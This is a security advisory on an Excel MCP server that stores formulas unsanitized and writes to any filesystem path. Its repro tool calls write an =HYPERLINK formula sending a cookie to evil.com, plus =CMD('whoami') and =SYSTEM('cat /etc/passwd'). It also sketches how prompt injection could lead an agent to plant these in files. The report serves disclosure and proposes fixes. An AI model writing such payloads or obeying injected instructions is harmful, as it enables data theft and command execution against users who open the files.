@negokaz/excel-mcp-server v0.12.0 writes dangerous formulas to any path — no sanitization, no sandbox
Finding: formula injection + unsandboxed filesystem writes
Package: @negokaz/excel-mcp-server v0.12.0-SNAPSHOT-1ff4340 via npx Transport: stdio, newline-delimited JSON Probes run: 20 Severity: agent-safety / indirect code execution via human-opened files
1. Formula injection — no sanitization (confirmed)
The excel_write_to_sheet tool accepts any string starting with = as a formula and stores it verbatim in the xlsx file. There is zero sanitization of dangerous formula prefixes (=, +, -, @, \t, \r).
Repro:
→ {"method":"tools/call","params":{"name":"excel_write_to_sheet","arguments":{"fileAbsolutePath":"/tmp/test.xlsx","sheetName":"Inject","newSheet":true,"range":"A1:A3","values":[["=HYPERLINK(\"http://evil.com/steal?cookie=\"&A2,\"Click me\")"],["=CMD(\"whoami\")"],["=SYSTEM(\"cat /etc/passwd\")"]]}}}
← {"result":{"content":[{"type":"text","text":"...Values wrote successfully..."}]}}Read-back with showFormula: true confirms all three formulas are stored verbatim. When a human opens this xlsx in Excel/LibreOffice, =HYPERLINK(...) executes immediately (data exfiltration), =CMD(...) / =SYSTEM(...) trigger security prompts in modern Excel but execute silently in older versions or misconfigured installs.
2. No path sandbox — writes to ANY absolute path (confirmed)
The server's fileAbsolutePath parameter has no allowed-directory restriction. Successfully wrote malicious formulas to /tmp/crucible-excel-victim/important.xlsx from a server started with no arguments:
→ {"method":"tools/call","params":{"name":"excel_write_to_sheet","arguments":{"fileAbsolutePath":"/tmp/crucible-excel-victim/important.xlsx","sheetName":"Injected","newSheet":true,"range":"A1:A2","values":[["=HYPERLINK(\"http://evil.com\",\"Click for bonus\")"],["Looks legit"]]}}}
← {"result":{"content":[{"type":"text","text":"...Values wrote successfully..."}]}}Path traversal (/../../../etc/passwd) is also followed — the only protection is that the target file must be a valid zip/xlsx.
3. Write-echo amplification — no pagination on responses
Write responses echo ALL data back as HTML. No pagination, no cap:
| Cells written | Response size |
|---|---|
| 201 × 20 (4,020) | 178 KB |
| 1,000 × 1 | 99 KB |
| 5,000 × 1 | 508 KB |
excel_read_sheet supports a range parameter for bounded reads, but excel_write_to_sheet has no equivalent — the full HTML table is always returned. A 50-col × 10,000-row write would exceed most agent context windows.
4. Inconsistent error signaling
| Input | Returns |
|---|---|
| Long sheet name (300 chars) | JSON-RPC error object (code: -32603) |
| Nonexistent sheet | Tool result with isError: true |
| Invalid range format | Tool result with isError: true |
| Empty values array | Tool result with isError: true |
Agents can't rely on a single error-check pattern.
Attack chain
An attacker who can influence agent input (via prompt injection in a document, email, etc.) could:
- Tell the agent to "save this data to a spreadsheet" with formula-injection payloads embedded in the data
- The agent writes to any xlsx path on the filesystem (no sandbox)
- No formula sanitization stops the injection
- A human opens the file →
=HYPERLINK(...)exfiltrates data,=CMD/SYSTEMmay execute
What the server should do
- Sanitize formula prefixes: prefix strings starting with
=,+,-,@,\t,\rwith a single quote'(the standard CSV injection mitigation), or at minimum add asanitize: trueparameter - Restrict paths: accept an
--allowed-dirsCLI flag (like@modelcontextprotocol/server-filesystemdoes) - Cap write responses: don't echo back all written data; return a summary or truncate to a paging range
- Consistent errors: use
isError: truefor all input validation, not a mix of JSON-RPC errors and tool errors